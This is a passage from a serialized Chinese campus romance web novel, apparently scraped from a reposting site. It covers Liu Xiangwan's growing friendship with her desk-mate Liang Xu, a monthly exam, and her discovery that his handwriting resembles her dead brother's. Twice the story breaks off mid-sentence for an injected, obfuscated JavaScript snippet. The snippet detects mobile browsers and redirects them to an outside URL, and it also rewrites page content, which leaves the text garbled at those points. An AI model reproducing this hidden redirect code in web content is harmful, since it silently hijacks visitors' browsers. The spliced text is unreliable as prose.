张之筱没忍住,又盯着她的脸看,她眨巴了下眼睛,语气很乖:“没事的,水不烫,没有烫到我。你、你不用担心我。” 感受着美颜暴击,一下子说话都卡巴了。 其实,除了柳向晚在偷偷关注张之筱,张之筱也有偷偷关注柳向晚。 或者说,班里许多同学都在偷偷关注柳向晚,她长得好看,个子也出挑,又时而穿着名牌,一副大小姐模样,再加之不说话时一张冷脸,导致很多想和她接触的男男女女都望而却步。 张之筱也没想过她还能和柳向晚搭上话,也没想到柳向晚并没有想象中难以解决,一时间没忍住将心里话说了出来:“你真好看!” “啊?” 听着这话,柳向晚有点愕然,短暂地懵了下,没忍住笑,真诚地同样夸赞她:“你也很好看,我很喜欢你。” “真的吗!”女生眼睛一下子亮了起来,有点局促地低下了头,但耳朵红彤彤的。 张之筱害羞地道:“我也很喜欢你,我们俩可以做朋友吗?” 柳向晚想也没想地答应:“好啊。” 两人随即聊了起来,一切地陌生和不熟悉都逐渐打破,很快建立起女孩间的友谊之桥。 他们一路走到班级门口,话匣子无形中被打开。张之筱也不再拘禁,同柳向晚聊着各种话题,也聊起了学习上的事。 途中,柳向晚没忍住问她:“对了,你数学成绩真好,是怎么学的啊?” 她记得开学考的成绩单上,张之筱的数学成绩高得惊人,柳向晚仅在数学上就和她相差了快二十分。 “啊,你在说我数学好吗?”这下轮到张之筱懵了,她连连否认,“我那哪能叫数学成绩好啊,最好的应该是你同桌。” “那才是真正的数学大神!” “他?”柳向晚不解。 张之筱口吻膜拜,给柳向晚科普起来:“你刚转来不知道情况,梁旭他数学可厉害了,好像初中就拿过国家奖项吧。” “包括上学期联考,题目朝纲,他还考了全市唯一一个数学满分。” “我要是有他一半的天赋就好了。”张之筱羡慕地说,又道,“听说他今天没来,就是去参加数学竞赛去了。” 原来是参加竞赛去了啊。 今日未解的问题终于得到了解答,柳向晚笑了下,又忍不住将张之筱口中的梁旭和自己眼里梁旭做了个对比,突然间,有种割裂和不敢相信感。 她若无其事,干巴巴道:“哈哈那还挺厉害的。” 请原谅她,她真的无法违心地夸梁旭…… …… 两天过去,终于在周五时刻,柳向晚见到了梁旭真人。 梁旭依旧是那副散漫姿态,踩着早自习铃声的最后一刻踏入了班级。 柳向晚主动为他让出位置,方便他进到自己座位里,随口道:“好久不见。” 见此,梁旭惊讶地跳了下眉,轻笑了声:“看来学校还是得少来,这几天没来,同桌对我的待遇都不一样了。” 柳向晚:“……” 柳向晚:“你进不进。” 梁旭:“……” 少年随即麻溜地坐了进去,姿态依旧是一成不变的散漫。 柳向晚看了他两眼。 又不动声色地看了他两眼。 她忍不住想起张之筱这几天在她耳边对梁旭其人的“科普”,自觉将张之筱口中的“梁旭”和现在坐在她旁边的“梁旭”做对比。 这真是一个人吗? 而这边,梁旭读了半响生物书,始终察觉到一道似有似无的目光落在他身上。 他懒洋洋转头,便看见还没来得及转移视线的柳向晚。 柳向晚:“……” 耳根有点烫,少女淡定地转移开视线,装作在勾画笔下的字句。 将手里的书立起,梁旭扬眉,看见了少女的耳根一点红,饶有兴致地打趣她:“怎么盯着我看?” 柳向晚没看他,语气平静:“谁看你了,我是看到外面的树叶掉了一半。” “真的?”梁旭支起下巴,笑意更深,藏着坏意。 “难道还有假的吗。”柳向晚读了几句书,又忽然偏过一点头,故作不经意地问梁旭: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他身子微微靠过来了点,视线落在柳向晚还未合上的笔记上,比起看他自己字迹的散漫劲,要看得认真多了,一个字一个字地看过。 梁旭笑:“你的字也很好看。” 柳向晚顿了下,忽然抬手将笔记合上,掩盖住了自己的字迹。和梁旭一样,其实她小时候也跟着老师学过一段时间,但是最终学习的成效并不如意,不如哥哥的一手好字。 因此,小时候的柳向晚也时常泄气,觉得自己太过愚笨,怎么学都不如别人优秀。 直至今日,柳向晚时常仍然会冒出这样的想法。 窃窃私语结束后,两人又再度加入到班级的朗朗书声中,认真记忆着笔记内容。 口中念叨着英语长句,思维却忍不住走远,柳向晚抿了下唇,一时间又忍不住怀疑起自己是否真的太过愚笨,以至于怎么努力都无法追赶他人。 内心的各种想法在互相拳打脚踢,柳向晚没忍住,戳了戳梁旭,问:“你……你小时候练字勤奋吗?” 她试图用因为别人过于勤奋的原因,掩盖自己的愚钝。 梁旭不知道她的言下之意,懒洋洋耸了耸肩,拖着声调似叹息了声:“很想说自己不勤奋,但确实,不得不承认,小时候的我还是有点勤奋的。” 他猛然一顿,抬起眼睫,对上了少女漆黑到似有几分空洞的眼睛,语气里藏了几分笑意,“可能也怪我小时候太过勤奋,现在反而勤奋不起来了。” “这不,刚开学就被我同桌桌质疑学习成绩真是自己考了的吗?” 虽然听出男生话里的玩笑之意,但柳向晚还是没忍住心虚,毕竟确实是她因为程辛的安排,在没有见到梁旭之前,就已经隐隐对他有了敌意和不满。 她气势上弱了些,不动声色地抿了抿唇。 少女长相偏冷,抿唇时反而不自觉增加这种冷感,但不知道为何,梁旭却觉得她此时乖巧和可爱得过分。 眼睫低垂着,眼睫在日光下泛出波光粼粼的黑色。耳根则是绯红的,像是从春天从树上刚掉下的淡色花瓣,不明显,但格外惹人爱。 柳向晚默了默,在梁旭转移视线的下一秒抬起了眼,但对上少年藏着笑意的眼睛一秒,就慌乱地扯开视线,她有点不自然地道:“抱歉,之前是我在对你不够了解的时候,就妄下定论。” 自小养出的性格,总是让她下意识站在高位审判众人,并不擅长道歉和承认自己的错误,即使想表达自己的歉意,听起来竟也有种奇怪感。 她很快意识到这点,轻轻抿住唇角,低头从桌洞中拿出一盒巧克力,推给梁旭。 “这也是给你的。” “嗯?”梁旭下意识垂眸看过去。 少女手中捏着巧克力,借助两张课桌,将它放在中间,挡住了老师看见小动作的可能性。巧克力盒子精致小巧,看起来相当贵气,上面印着几个英文字母。 轻笑了声,梁旭垂着眼皮看这盒巧克力,语气懒洋洋:“这是什么,给我的贿赂礼?好让我闭嘴?” 10. 文学城独家发布 “……” 瞬间想将巧克力扔少年脸上,让他说点人话。 柳向晚呵呵一声,皮笑肉不笑道:“你要这样想,也没有错。” 语气之间丝毫收起了刚才的客气,又恢复成那个倨傲的大小姐气派。 眼里的笑意更是浓了两分,梁旭将巧克力推回给她,没有答应收下。但柳向晚不好意思,推来推去,几个回合之下,梁旭服软,将盒子打开,随机拿了颗巧克力。 他将巧克力捏在手间,“这一颗就够了。” 拨开巧克力的纸皮,将巧克力塞入嘴中,糖度超标的甜腻口感瞬间充斥整个口腔。梁旭几不可察地轻皱了下眉头,若无其事地吃完一整颗,才不经心地拿起水杯喝下一大口,中和掉口腔中甜腻的甜味。 他放下水杯,没忍住问:“你喜欢吃这种?” 柳向晚也拆开吃了一颗,神色淡然,似乎完全没意识到这巧克力有多甜。她点头:“是啊,偶尔低血糖的时候就会吃两颗,很管用。” “低血糖?吃饭不规律吗?”梁旭随口问。 柳向晚迟疑了下,最后简洁地点了个头。 对嘛,没有什么话是点个头解决不了的。 - 在学校的日子像是度日如年般难忍,但晃眼之间,时间飞速流逝,到了崭新的十月,也迎来了这学期的第一次月考。 虽说月考将近,但班级的氛围却丝毫没有变得紧张起来,反而有种死到临头的松弛感。 松弛到有时候,学习累了,柳向晚抬起头来,看到欢声笑语的同学们,都忍不住怀疑她是不是过分焦虑了点。 但再扭头,看到张之筱依旧在埋头苦学后,柳向晚感到心里就像埋下一根定海神针,支持着她继续苦学下去。 她深知自己并非璞玉,只能通过勤能补拙的方式,弥补自己和别人之间的差距。 为月考惴惴不安了多天,真到考试那天时,柳向晚心情却格外平静,一连三天沉定地答完了所有卷题。 考完,教学楼内响起轻柔的音乐。 学生们陆续从考场走出,拥挤在楼道上,像是纸面上一个又一个而密密麻麻的小黑点,小黑点和小黑点簇拥着,谈论起考试的难度,说完之后,话题又不自觉聊到了真正的重点——今晚去食堂吃些什么。 柳向晚则浑然不知,低头将笔袋放进书包中,心里下意识估算起这次的成绩分数。 这一估算,就忍不住估算了整整两日。 直到第三日,考试成绩正式发布。 最先发现成绩出来的是班里一个瘦瘦的男生,他拿着学校新发给他们的平板,激动大喊:“成绩出来了。” 此话一出,班级里迅速安静下来。 大家飞速回到自己的座位上,怀着一颗最虔诚的心打开了平板,点开了智学网。 柳向晚也不例外,虔诚地在心里再三祈祷后,安静不语地打开了成绩。 彩色的长条上跃然冒出一个大写的“A”。 这什么意思,怎么没班级排名?柳向晚疑惑地将页面翻到了底部,又依次点开了各科成绩,但依旧只看见了彩色长条,并没有看见确切的班级排名。 犹豫之下,她戳了戳旁边正在看成绩的梁旭。 “梁旭,你知道我这是班级多少名吗?” “我看看。”梁旭接过平板看了一眼,又递给她,道,“应该是第八、第九名。” 他站起身来,绰约地遮住窗外的一大半的日光,手动将后桌向后推,懒洋洋笑:“详细的等我去打探一下告诉你。” 听到这个答案,心里不自觉有些失望,柳向晚点了点头,说谢谢。 她垂下眼脸,重新点开了智学网中,各科原卷的批改情况,一边拿起笔来,在试卷上做记录。 正要低头写字,柳向晚看见了梁旭还没熄屏的平板。 清晰地看见了在排名那部分,梁旭的彩色长条上是一个最顶端的“A”,而她的“A”是在A色彩条的最末端。 下意识抿住了唇,柳向晚顿时有些挫败感。 其实,相比上次,她已经进步了一些,但她还是下意识和别人作比较,希望能够超越别人,成为那个永远的第一。 可内心深处,她又清晰地知道,没人会是永远的第一。 无论是学习还是生活,其实都是一场长跑,会有人跑得快时,也会有人跑得慢时。现在的落后也并不代表什么,未来的某一天,她也许将会超越前人。 她试图调整好心态,但越在强制调整的思维下,越容易跑偏,不自觉胡思乱想。 心底像是压了一块石头,令柳向晚喘不过气来,像无数东亚小孩一样,面对成绩单,本能畏惧和担心,不敢回家,害怕回家之后来自程辛的质问,脑子里乱糟糟,她甚至不知道该怎么解释。 反复地深呼吸并没有化解焦虑,柳向晚只感觉脑袋一片空白,身体如连同失去支配般僵硬。 梁旭很快回来,正要进去时,瞥见了少女发白的唇色。 他一顿,退回了过道,再回来时,手里就捏了块糖。少年微微垂下身,将糖果放在了柳向晚面前。 糖果像是突然闯入的色彩,将眼中的灰白点燃。 少年的声音清朗微低:“吃颗糖,缓缓。” 盯着面前的糖果,柳向晚慢慢松开几乎要掐到手心里的手,她拆开糖果,含入口中。她道:“谢谢。” 少年拍了拍她的肩,从她身后,进到座位里,又为她带来打听到的消息。 她这次应该是考了班级第九。 同时,虽然梁旭没有说自己考了多少,很很快在班里其他人口中,柳向晚得知了,梁旭这次考了班级第一,年级第三。张之筱则考了班级第五。 - 中午,阳光铺洒在校园内。 张之筱拉着柳向晚去食堂吃饭,中途就很快发现了她的“不在状态”。 反复扭头看了看柳向晚,张之筱挽住她的胳膊,主动问道:“小晚,你怎么了,心情不好吗?” “没有,我只是在想题。” 柳向晚回过神来,目光看向张之筱,顿了下,她随口道:“这次数学卷子还挺难的,最后那道题想了半天,都没订正出来。” “是啊是啊,就是啊。”见柳向晚神色已然恢复正常,张之筱信以为真,跟着立马点头吐槽道,“卷子出那么难搞什么啊。” “我那题也没写出来,真的太难了。” 张之筱叹了口气,忽然笑容神秘地说:“对哦,你要不要去问问你同桌,他这次数学考试不是考了满分嘛。” “梁旭?” 柳向晚顿了下,瞬间脑海中设想出这个画面,她感觉摇了摇头,丢开这些想象,莫名有种还没去就在熟人面前丢脸的错觉。 她之前可是一直把梁旭当竞争对手,让她问竞争对手,还是把她杀了吧。 柳向晚赶紧止住话头:“算了,我还是自己再研究研究吧。” “别啊。”张之筱摇晃她的手臂,笑眯眯道:“你去问嘛,问完再教我,好不好嘛。” “再说,你们俩可是同桌,你去问梁旭肯定不会拒绝你的!” “那我也不想。”柳向晚将手臂抽了出来,义正严辞地说,“你等我再研究研究,研究出来了就告诉你。” 张之筱无奈地叹了口气,只能说了声好,内心却在想,看来今天是看不到俊男靓女的亲密互动了啊啊啊。 下午时,柳向晚订正完物理卷子,又重新翻开数学卷子,研究起那道超纲题。 她左思右想,草稿纸上打满了草稿,最后还是没有想出来究竟是怎么个思路解题。 重重地叹了口气,柳向晚无奈地将草稿纸翻了个页,开始思考起是继续坚持订正呢,还是等着老俞过两天讲试卷的时候订正。 但一想到卷子只剩下这道题没有搞懂,心里就像是蚂蚁啃过,痒得难受。 梁旭半靠在窗台边,清风从窗户缝中吹出,扬起额前的碎发,他微微支着脑袋,手里散漫地转着笔,瞥见了旁边正计无可出的柳向晚。 轻声笑了下,少年趴在桌上,凑了点脑袋过来,仰着头看向柳向晚。 “要帮忙吗?”梁旭问。 “……” 其实,柳向晚是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287066|166948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想说不想的,她堂堂大女子,有什么题不能自己解决? 但,日光之下,她对上了少年清澄的眼睛,还有那张帅脸。 忽然间,一下子啥话也没说出来了,讷了声,她都不知道自己在说些什么,只听到从嘴巴里冒出了一句“好”。 梁旭坐起身,从她手中接过试卷,放到了两张桌子中间,又随手抽出一张草稿纸。 他先是拿笔在稿纸上简单勾勒出题目给出的原几何图样,笔锋竖直锋利,画出的线条很有力量感。 “这其实是一道很经典的几何题,只不过增加一点特殊的复杂情况。”梁旭在纸上做出过程,“其实换个角度,利用向量来解题就会更直观。” 他换了红笔,在图形上留下痕迹,讲解时字字珠玑,没有任何一句废话,偶尔时则在稿纸上留下重要的关键步骤。 并没有全部写下所有过程,而是给人保留思考的余地,不是所谓的填鸭式教学。 甚至一时间,柳向晚在旁边听着,都觉得梁旭不当一名教师真是学生的错失。 一连换了几种解法讲完这题,梁旭将手中的稿纸递给了她,而柳向晚则有些震惊地看着自己这位同桌。 虽然对他数学考满分有一定的实感,但今天题目一讲,柳向晚对梁旭在数学上天赋更有了实感。 这不是学霸,而是学神啊! 她说了声谢谢,不自觉低头看稿纸上写的清清晰晰的解题思路。 字迹飘逸,书写起来行云流水,一横一撇间都刚硬有力。 猛然间脑子像是卡壳了下。 柳向晚总觉得似在哪里看过这样的字迹,但一时间并没有想起来在哪里。 正当她想深入思考这个问题时,梁旭懒洋洋出声打断了她的思索。 “还有不懂的吗?” “暂时没有了。”柳向晚回过神来道。 她从桌洞中拿出一块巧克力,递给梁旭:“这个给你。” “?”梁旭轻哂一声,他懒洋洋挑眉,拖着语调,像是在逗小孩一样无聊: “怎么感觉这像嫖资?” “?” 柳向晚顿了下,面无表情地拆开手上的巧克力,冷冷地咬了一口,她淡淡道:“你要是觉得这是嫖资,我也没办法。” 她嘴里含着巧克力,淡淡“呵”了声,不紧不慢地折起金色包装纸,使它变得小小的,把捏地玩在手心中。她掀起眼睫,神情寡淡,轻轻笑了下。 随即,少女又拿出几块巧克力,缓慢推到梁旭面前,似赌桌上压下自己的赌注一般。 她口吻正常:“啊,这样啊,那我多嫖几次吧,就当照顾你生意了。” 什么? 梁旭刚要喝水的动作瞬间停了下来,疑心自己听错了。他抬眸,恰好对上了柳向晚看过来的眼神。 少女面不改色,目光坦然,语气有种学他般的故作轻松:“反正嫖一次也是嫖,不如多嫖两次喽。” 梁旭:“……” 稍顿,他唇角蓦然一松,忽然觉得这事挺逗。 梁旭随手拿起一颗巧克力,放在手心中来回拨弄,懒洋洋笑了下,他还是那股遇到什么事似乎都是懒散的姿态:“你不知道我是良家少男吗?” 良家少男? 柳向晚扯唇笑了下,没有多说,她平静“哦”了下,又抬手将巧克力们往“良家少男”那推了点。她道:“我知道。” “我知道你姓梁。” “?”梁旭反应过来,被她这回应逗乐了,刚想直言拒绝,手心里忽然就多了几颗巧克力。 柳向晚垂着头,露出饱满的头颅和一点耳尖,将几块巧克力像堆桥塔一样堆在少年宽大的手心上。 不经意间,指尖触碰到男生体温很烫的手心,触了下。 少年下意识蜷缩起一点手掌,但仍稳稳地握住这堆巧克力塔,他看向柳向晚。 柳向晚笑眯眯地看着他手上的塔,唇角忍不住弯了弯,她说:“出来卖不容易,收下吧。”她一顿,微微咬重字音,特意提醒他,“梁家少男。” 梁旭:“……” 谐音梗扣钱。 11. 文学城独家发布 转眼,一天的课上完,又到了各回各家过周末的美好时光。 柳向晚心情有点闷,直到见今天来接她的是老李,又听到程辛出差去了,这周可能赶不回来,心情才稍稍放晴了些。 在房间写了一晚作业,柳向晚都没收到程辛打来的电话,又忍不住松了口气,猜测到程辛这几天应该挺忙,没空关注她。 她晚上早早地上床睡觉。 但心里压着事,睡得并不安稳,凌晨时脑子里突然闪现起记忆里那些熟悉的字,柳向晚冷不丁睁开了眼。 她想起来了。 梁旭的字和哥哥的字很像。 为了验证这一念头,她从床上爬起,趿拉着拖鞋,上了别墅三楼,推开了那扇已经很久不曾靠近的房门。 凌晨,屋内漆黑一片,只有窗外星星点点的路灯亮着,折射出微弱的光进入房间里。 她打开了主灯,瞬间光线明亮,看清了屋内的所有摆件。 虽然哥哥柳知安已经去世几年,但房间内的家具摆向都未改变,定时地也会有人上来打扫积累的薄灰。 顺着记忆,柳向晚很快在床底扒拉出哥哥高中时读的课本。 她轻轻翻开。 看到哥哥的字的瞬间,脑子里懵了下,还没睡醒的状态一下子清醒过来。 这和梁旭写的有什么区别? 相似度高达80% 趴在只有床架的床边看累了,柳向晚直接滚到了地毯上,趴着仔细对比,越对比越忍不住一边怀疑,一边确定。 像,不像,像…… 诶,梁旭的字究竟是什么样来着,有点忘了。 柳向晚翻着课本,又从床底下找到了哥哥藏得最深的日记本。 她之所以知道,还是因为小时候和柳知安玩捉迷藏,她故意不藏自己房间,而是躲到了柳知安床底下,才误打误撞发现了他的小秘密。 随意翻开一页,柳向晚丝毫没有要尊重哥哥隐私权的意思。 年份已不可见,但能看出应该是小学或初中时的柳知安写的。 3月23日。 天气晴,晚上去了新华书店,买了一本新华字典给柳向晚。 希望她能多看看,不要总是错字大王!把我的名字都写错! 7月17日。 今天是柳向晚生日,生日快乐。 希望她永远是最无忧无虑,最可爱的小女孩。 …… 一页一页翻过去,柳知安的日记只是偶尔才会记录两句,因此薄薄一本便记录了他从小学到高中的所有故事。 人是小小的,烦恼也是小小的。 柳向晚翻看着,不知不觉间便睡了过去。 第二天醒来时,薄薄而温柔的日光洒在她脸上,柳向晚忍不住眯了下眼,用手挡住阳光。 她安静地在地毯上躺了好一会,才慢吞吞坐起来,揉了揉眼睛,看见了窗台上放着的杂物框,里面有着一颗落了灰的排球。 她走过去,拿起排球,下意识就轻轻垫了两下。 排球上散落淡淡的灰尘,在充满阳光的房间中,溢得清晰可见,落在眼眶中。 但很快,球没接住,掉落在了木地板上,发出闷重的声音。 柳向晚一怔,没敢动,直到想起程辛没在家,才松了口气,将球从地上捡了起来。 太久没练,果然还是生疏了,连简单的垫球都做不了几个。 柳向晚又垫了两下,球再次砸在地上,溅起满溢满彩的日光,发出不小的声响。 她盯着排球,噗嗤一声笑出来。 有种回到了,柳知安还在的时候,总会带着她这个“宅女”出去运动,想着办法教她排球,让她多运动一会。 但她为了偷懒,有时候就会故意垫两下,装作没接住,让球掉落。 柳知安就会无奈地看她一眼,然后认命地去捡球,再抛给她,让她传给自己。 在柳知安的房间又呆了一会,柳向晚将她翻出的物品重新复原到原位,才抱着那颗排球下了楼,去客厅给自己泡了一杯燕麦算作早饭。 刚泡完,坐到了餐桌上,柳向晚就接到了好朋友钟溪的电话。 钟溪:“小晚!当当当!想我没有!” 柳向晚憋着笑,故意道:“没想。” “啊,那我会很失落的。” 虽然几个月没见,但两个人的感情并未有任何减少,反而话匣子似长江之水般不断。 很快,柳向晚就说起了,自己新同桌和柳知安字迹很像的事。 钟溪对她家情况还算了解,知道柳知安已经去世,是在一场大桥的意外坍塌中去世的。 “诶,有多像?”钟溪道。 柳向晚放下勺子,思考了下:“反正挺像的,就是不知道我是不是记错了,我也有点记不清了。” “你没留下他字迹吗?” “有。”柳向晚顿了下,说,“但我昨晚想起来之后,在我书包找了下,没有找到他给我写的草稿纸,可能是落在学校了。” “啊,好可惜啊。”钟溪惋惜道,“我还想看看有多像呢。” 柳向晚笑了笑,“等下次我找到那张草稿纸了就拿给你看看。” “草稿纸?看什么草稿纸啊,”钟溪想到了什么,嘻嘻一笑,忽然说,“你既然说他的字和你哥哥的字很像,这不得把握一下。” 柳向晚没懂:“怎么把握?” “我记得你是不是说过你哥哥每年在你生日的时候,都会写一封信作为礼物吗?” “也没有,就是偶尔几年会写一下。” “哎呀,那是不是也是写了。”钟溪说,“你可以请他帮忙写一封给你。” “这样,既有了他的字迹,还有了一封你哥哥给你写的信,就当是他这些年没参与你生日,迟来的贺礼啦。” 柳向晚有些犹豫:“算了,让我再想想吧。” 这一想,便来到了周一晚自习时刻。 第一节晚自习过去,柳向晚和梁旭都写完了白天里老师布置的所有作业,一个在看错题,一个在刷题。 柳向晚顿了下,停下了刷题的笔。 默默捣了一下梁旭。 “喂,能帮我一个忙吗?” 梁旭没扭头看她,懒洋洋翻过一页,声调散漫,“第一,我不叫喂,第二,喊我干什么?” 柳向晚:“……” 你当你言情剧女主呢? 她暗自叹了口气,抱着求人要有求人的口吻,语气平静又温和:“我想让你帮我写几个字。” 稍顿,她卡了下,心想写一封信的话……是不是只说写几个字有点不准确啊。她改口道:“差不多写一封情书那种字数。” “?” 梁旭偏头,视线从上至下打量过她,轻轻一哂:“写给谁的?怎么,那么快就有喜欢的人了?” “什么?” 柳向晚懵了下,意识到自己这个比喻不太好了,她连忙解释道:“没有,我写给我自己的。” 似乎是难以置信,少年挑眉,唇角蓦然松了下,语气很慢,一字一句地拖着音调:“这还有写给自己的情书?” 怎么就抓着情书这个字眼不放了呢,柳向晚有点无奈,她努力解释清白:“对啊,我的字不好看。你的字好看,你帮我写下嘛。” 女孩口吻骤然松了下,轻轻软软,说话时像是在哄人般。 眼底藏着狡黠,像只以为自己小心思骗过全世界的纯白乖狐狸般。 忽地笑了下,梁旭抬了抬眼,他眼睫很长,低头看人时,眼睫垂下来遮住了眼底的情绪。少年双手摊平,轻描淡写地说:“我自己拿纸写,还是你给我纸?” 下一秒,柳向晚从书包中麻溜地拿住了准备好的信纸,果断地递给他:“这个就好。” 手指微动,梁旭捏住薄薄的信纸,慢慢地笑了下:“准备挺齐全啊。” 他又问:“怎么写?是我自由发挥,还是……?” 没等他说话,一张更薄的A4纸被呈放在他手中心。 再抬眼,少女笑容明湛:“按着这个写就好了。” 一眼扫过去,满满当当的字。 梁旭还没说什么,柳向晚就已经谄媚地将笔递了过来,见他拿着笔,还没写,以为是动力不足,便顺势又从书包掏出了一袋巧克力。 她发现几次给梁旭这个巧克力,梁旭都没有拒绝……应该,还算喜欢吃吧。 这边,梁旭盯着巧克力瞬间头都大了。 他连忙放下笔,将巧克力推回柳向晚,柳向晚以为他不好意思,特意压低声调说:“不用客气。” 她不知道从哪又变出一大把巧克力:“没人和你抢。” 梁旭:“……” 好了,本来就愁巧克力吃不掉,现在更吃不掉了。 信件写完,柳向晚将它妥善收到了书包中。 直到晚自习上完,回到家中,她才从书包中取出梁旭写的信件,又从书架的最后一层翻出了哥哥给自己写的信。 信件之间反复对比,柳向晚不得不承认两人的字迹相似度高达80%。 只要不仔细看细节处的笔风,整体扫一眼看过去,愣谁看都会觉得这是同一个人写出的字迹。 柳向晚躺回床上,手里高高举起哥哥曾经手写的信件。 灯光穿过信纸,将它照得透亮透亮,像是无数星光闪耀在其中。 她轻声将信件的内容读了出来—— 致我爱吃糖的捣蛋鬼妹妹: 最近偷偷吃了多少糖果,有没有蛀牙?如果蛀牙了,要及时告诉哥哥,不要偷偷装作云淡风轻,什么都没发生,然后牙疼了再来找哥哥。 哥不是医生,哥救不了你。 …… 读完这封信,记得在我房间门口放些糖果,多放一点,这是我没收你的(^_^)v 落款处:世界最宠妹的哥。 看着信件没忍住笑出来,柳向晚翻过了身,又从那一堆信中翻找着,意外掉落出一张手画的卡片。 上面是彩笔画的太阳、小羊还有两个手牵手的小孩,旁边写着歪七扭八的字:和好劵一张。 这是她画给柳知安的。 小时候,柳知安总喜欢逗她玩,她有时候生气了,就觉得全世界她最讨厌哥哥了。但讨厌完,就别扭地想和柳知安和好。但不知道怎么和好,她就画了一张和好劵给柳知安,一副大人有大量的模样,表示自己原谅他啦。 想着想着,柳向晚忽然就想起了娄宴青,她找出手机,对着梁旭写的手写信,拍给了娄宴青。 [柳向晚:宴青哥,快看这字像不像我哥写的。] 没过一分钟,手机叮了声。 [娄宴青:这不是你哥写的吗?] [柳向晚:嘿嘿不是!是我同桌写的。] [柳向晚:我最近刚发现他和我哥的字很像,就拜托他帮我写了封信。] [娄宴青:替身文学?] 盯着消息,反应了几秒,柳向晚才明白娄宴青是调侃她把梁旭当替身。 她顿了下,莫名在想。 当替身什么的……梁旭应该不会在意吧。 柳向晚忍不住心虚了一秒,随即炮轰娄宴青。 [柳向晚:哥,下次少看点短剧。] [娄宴青:小狗偷笑.jpg] [娄宴青:周末要不要出来吃饭,哥哥这周末休假] [柳向晚:!] [柳向晚:好啊,已经迫不及待了。] [娄宴青:周末见] 和娄宴青确定完要周末出去吃饭后,柳向晚就从床上跳了下来,跑到衣柜前,开始翻看起自己有哪些衣服,琢磨着那天要穿些什么。 她已经快半年没见到娄宴青了。 上一次见还是在东庐,娄宴青出差到东庐,顺路见她,给她带了礼物。 手指在衣服上划过,柳向晚垂下眼睫,想起来她之所以会喜欢娄宴青的原因。 其实,一开始她并没有喜欢上娄宴青,只是觉得他是柳知安的好朋友,一个比自己年长的哥哥,性格温和,不似哥哥那样总是闹她。 反而会护着她,比柳知安更像一个哥哥。 后来,真正熟悉起来,是在爸爸和哥哥因为大桥意外坍塌去世的那天。 家里乱成一团粥,人来人往,不停地说些什么。程辛知道之后,就立即驱车去了现场,家里只剩下她一个小孩。 没人和她说些什么,只是时不时听见零碎的声音:“唉,怕是……人没了。” 每个人都很忙,她拽住每个人,都摸摸她的头,眼神似带怜悯,让她回房间玩。 当晚,人潮褪去,所有人都将她遗忘。她藏在自己房间里,藏在窗帘背后,像和哥哥躲猫猫那样,紧紧抱住自己,额头烫得吓人。 意识昏沉,身体滚烫,头好像要被劈开了般,就在柳向晚觉得自己快要睡着的时候,听到了楼下响起的门铃声。 似应激反应般,她火急火燎地下楼开门,极度想见到爸爸和柳知安。 她,她再也不说柳知安是大坏蛋了。 她没有见到柳知安,反而看见了娄宴青。 他听到大桥出了意外,特意骑车过来,担心家里只有柳向晚一个人,想把她接去自己家住几天。 目光向下,他看见柳向晚穿着睡衣,脸色滚红,眼睛无神,整个人站着都好似软绵绵。 “你发烧了?”娄宴青眉头紧皱,探了探她的额头。 在确定她发烧之后,立即带柳向晚去了医院,照顾一整晚她。 后来,他们家搬去了东庐,柳向晚身边没了哥哥,也没有朋友,总是独来独往,也是娄宴青鼓励她主动交朋友,教她如何踏出第一步。 他会记得她的生日,会在来东庐时,每次都记得见她。 以至于,后来过了很久很久,柳向晚才后知后觉地发现,自己可能喜欢上了娄宴青。 她开始,期望和他说话,期望和他见面。 期望和他的一切。 但柳向晚也自始至终清楚。 娄宴青只把她当妹妹,没有过任何其他想法。 想到这,柳向晚一下子失落起来,没了兴致挑衣服,重新躺回床上,昏昏迷迷地睡着了。 - 第二天醒来,照常去上学。 老师在讲台上写着板书,柳向晚抬 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梁旭眉梢微挑,脚抵住瓷砖,微微带动椅子转向了柳向晚,手散漫地搭在窗台上,垂着眼似笑非笑地看着她:“不是你总是盯着我看吗?” “……” 柳向晚沉默了下,还是很想扯自己其实在看窗外的树。 但这个理由上次用过了。 今天用不了。 她大脑飞速运转,若无其事地笑了下:“我有吗,我没有吧……” 重复给了她勇气,柳向晚刚想确定地说他肯定是看错了的时候,被梁旭慢悠悠的声线打断。 少年垂眸看着她,微笑且肯定地说:“你有。” “……” 柳向晚情不自禁捏紧了拳头。 有时候,她真想和梁旭打一架。 让他那张嘴少说点话。 柳向晚决定不理他了,打算扭头回去时,见梁旭抬了点下巴,吊儿郎当地笑了下。 他不紧不慢开口:“说吧,有什么事想求我。” “……” 柳向晚沉默了下,突然觉得,他这样认为也挺好。 总比自恋到以为她在盯着他人看要好。 但确实也没什么事要求他,柳向晚顿了下,临时想了个借口,撕下一张便利贴。 “确实有事,你能再帮我写几个字吗?” “……” 忽然间,梁旭哑了声,似勾起什么不愉快的回忆。 他没忍住道:“写字可以,但别再给我巧克力了。” 柳向晚懵了下,没想到梁旭会提这个。她没懂梁旭的深层含义,直接问道:“哦,那你想要什么,糖果要吗?” “……” 梁旭闭了闭眼,怕说多错多,干脆直接拿过了柳向晚捏在手中的便利贴。 “写什么?” “志之所趋,无远弗届。”柳向晚想了下说。 梁旭听过这句,直接下笔:“怎么写这个?” “励志名句,鼓舞一下自己。” 几个字很快写完,柳向晚拿回便利贴,将其贴在了桌子左上侧,又简单用胶带粘了一下,确定牢固。 她满意地看着自己的杰作,又看了看这八个字,觉得好像是哥哥在鼓励自己一直学习。 瞥见她的小神情,梁旭轻哂一声:“那么喜欢?” 他微微顿了下,似乎心情不错,目光懒洋洋地扫过她一眼,“啧”了声:“你不会偷偷暗恋我吧。” “……” 柳向晚无语凝噎。 她抬起眼,毫不客气地对上了梁旭的眼睛。 